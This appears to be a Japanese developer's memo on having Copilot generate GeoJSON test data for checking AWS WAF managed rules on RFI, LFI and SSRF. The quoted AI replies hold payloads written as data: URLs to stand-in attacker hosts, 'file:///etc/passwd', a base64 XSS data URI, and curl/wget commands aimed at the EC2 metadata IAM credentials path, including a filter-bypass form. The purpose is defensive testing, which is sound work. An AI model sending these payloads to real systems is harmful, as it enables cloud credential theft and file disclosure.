Open3

生成AIにテストデータを作成させる

メモdevメモdev

概要

下記3つのaws wafのmanagedルールの挙動を確かめたかったので検証用のデータ(geojson形式[1])をcopilotに作成させてみたた。

  • EC2MetaDataSSRF_BODY
  • GenericLFI_BODY
  • GenericRFI_BODY

具体的に検査したい項目の公式ドキュメント内での名称や説明文を指定すれば今回は意図したものを返してきた。

実際のプロンプト

RFIの検証

質問

urlだけ含んだgeojsonを作ってください。urlにはhttp,https,ftpなど含めてください リモートファイルインクルージョンの悪用を確かめたいです

回答

了解しました。リモートファイルインクルージョン(RFI: Remote File Inclusion)の脆弱性検査に使えるGeoJSONを作成します。RFIは、外部のURLからスクリプトやファイルを読み込ませることで、意図しないコードが実行される可能性がある攻撃手法です。

以下のGeoJSONは、properties.url にさまざまなスキーム(http, https, ftp, file, data)を含めて、RFIの挙動を検査するための構造になっています。


🧨 GeoJSON例:RFI検査用(URLのみ)

{
  "type": "FeatureCollection",
  "features": [
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7500, 35.6850],
            [139.7520, 35.6850],
            [139.7520, 35.6865],
            [139.7500, 35.6865],
            [139.7500, 35.6850]
          ]
        ]
      },
      "properties": {
        "name": "HTTP RFI Test",
        "url": "http://malicious.example.com/shell.txt"
      }
    },
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7530, 35.6840],
            [139.7550, 35.6840],
            [139.7550, 35.6860],
            [139.7530, 35.6860],
            [139.7530, 35.6840]
          ]
        ]
      },
      "properties": {
        "name": "HTTPS RFI Test",
        "url": "https://evil.example.org/include.php"
      }
    },
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7600, 35.6820],
            [139.7620, 35.6820],
            [139.7620, 35.6840],
            [139.7600, 35.6840],
            [139.7600, 35.6820]
          ]
        ]
      },
      "properties": {
        "name": "FTP RFI Test",
        "url": "ftp://attacker.example.net/payload.php"
      }
    },
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7650, 35.6800],
            [139.7670, 35.6800],
            [139.7670, 35.6820],
            [139.7650, 35.6820],
            [139.7650, 35.6800]
          ]
        ]
      },
      "properties": {
        "name": "File Protocol Test",
        "url": "file:///etc/passwd"
      }
    },
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7700, 35.6780],
            [139.7720, 35.6780],
            [139.7720, 35.6800],
            [139.7700, 35.6800],
            [139.7700, 35.6780]
          ]
        ]
      },
      "properties": {
        "name": "Data URI Test",
        "url": "data:text/plain;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="
      }
    }
  ]
}

🔍 含まれるURLスキームと意図

name url例 意図
HTTP RFI Test http://malicious.example.com/shell.txt 外部スクリプト読み込み
HTTPS RFI Test https://evil.example.org/include.php SSL経由のRFI
FTP RFI Test ftp://attacker.example.net/payload.php FTP経由のファイル取得
File Protocol Test file:///etc/passwd ローカルファイルアクセス
Data URI Test data:text/plain;base64,... 埋め込み型スクリプト

⚠️ 使用上の注意

  • このGeoJSONはセキュリティ検査目的専用です。
  • 実際のアプリケーションが url を読み込む処理を持っている場合、RFI脆弱性があると外部コードが実行される可能性があります
  • 必ずサンドボックス環境で検証してください。
  • data:file: スキームは、ブラウザやサーバーの設定によって挙動が異なります。

さらに javascript:gopher: スキームなど、より高度な攻撃ベクトルを含めることも可能です。追加しますか?

脚注
  1. ジオメトリデータをアップロードするエンドポイントをテストしたかったのでgeojsonを作成させた。 ↩︎

メモdevメモdev

LFIの検証

リクエストボディから Amazon EC2 メタデータを盗み出す試みがないかを検査するのに使えるgeojsonってありますか?

非常に鋭い視点です。Amazon EC2のメタデータサービス(特に旧バージョンの http://169.254.169.254/latest/meta-data/)は、**サーバーサイドリクエストフォージェリ(SSRF)**の標的になることが多く、GeoJSONのような構造化データに悪意あるURLを埋め込むことで、バックエンドがそれをリクエストしてしまう可能性があります。

以下は、SSRFによるEC2メタデータ窃取の試みを検出するためのGeoJSON例です。これは、GeoJSONの properties.urlproperties.command に、EC2メタデータサービスへのアクセスを試みるような値を含めることで、アプリケーションがそれを誤ってリクエストしないかを検査する目的で使えます。


🛡️ GeoJSON例:EC2メタデータ窃取試験用(SSRF検出)

{
  "type": "FeatureCollection",
  "features": [
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7500, 35.6850],
            [139.7520, 35.6850],
            [139.7520, 35.6865],
            [139.7500, 35.6865],
            [139.7500, 35.6850]
          ]
        ]
      },
      "properties": {
        "name": "Normal Feature",
        "url": "https://example.com/info",
        "command": "echo 'safe'"
      }
    },
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7530, 35.6840],
            [139.7550, 35.6840],
            [139.7550, 35.6860],
            [139.7530, 35.6860],
            [139.7530, 35.6840]
          ]
        ]
      },
      "properties": {
        "name": "SSRF EC2 Metadata Test",
        "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "command": "curl http://169.254.169.254/latest/meta-data/"
      }
    },
    {
      "type": "Feature",
      "geometry": {
        "type": "Polygon",
        "coordinates": [
          [
            [139.7600, 35.6820],
            [139.7620, 35.6820],
            [139.7620, 35.6840],
            [139.7600, 35.6840],
            [139.7600, 35.6820]
          ]
        ]
      },
      "properties": {
        "name": "Obfuscated SSRF Test",
        "url": "http://[169.254.169.254]/latest/meta-data/",
        "command": "wget http://169.254.169.254/latest/meta-data/iam/"
      }
    }
  ]
}

🔍 検査ポイント

フィールド 内容 意図
url EC2メタデータURL SSRFによる情報窃取の試み
command curlwget でメタデータ取得 サーバー側で実行される可能性のある攻撃
url(IPv6形式) [169.254.169.254] 一部のフィルタを回避するための表記

✅ テストの目的

このようなGeoJSONを使って、以下のような挙動を検査できます:

  • WebアプリやAPIが url をサーバー側でリクエストしていないか
  • command フィールドが直接実行されていないか
  • SSRFフィルタが 169.254.169.254 を検知・遮断できるか
  • URLのエンコードやIPv6表記によるバイパスが可能か

⚠️ 注意

このGeoJSONはセキュリティ検査目的でのみ使用してください。実運用環境に投入すると、意図せずメタデータにアクセスしてしまう可能性があります。必ず隔離されたテスト環境で使用してください。


他にも、DNS rebinding や AWS IMDSv2 対策の検証など、より高度なテストを行いたい場合は、さらに細かいパターンを追加できます。必要ですか?

メモdevメモdev

雑感

各ルールに関していくつか該当しそうなコマンド・urlなどを書くのは時間がかかるので有効な手段だと思う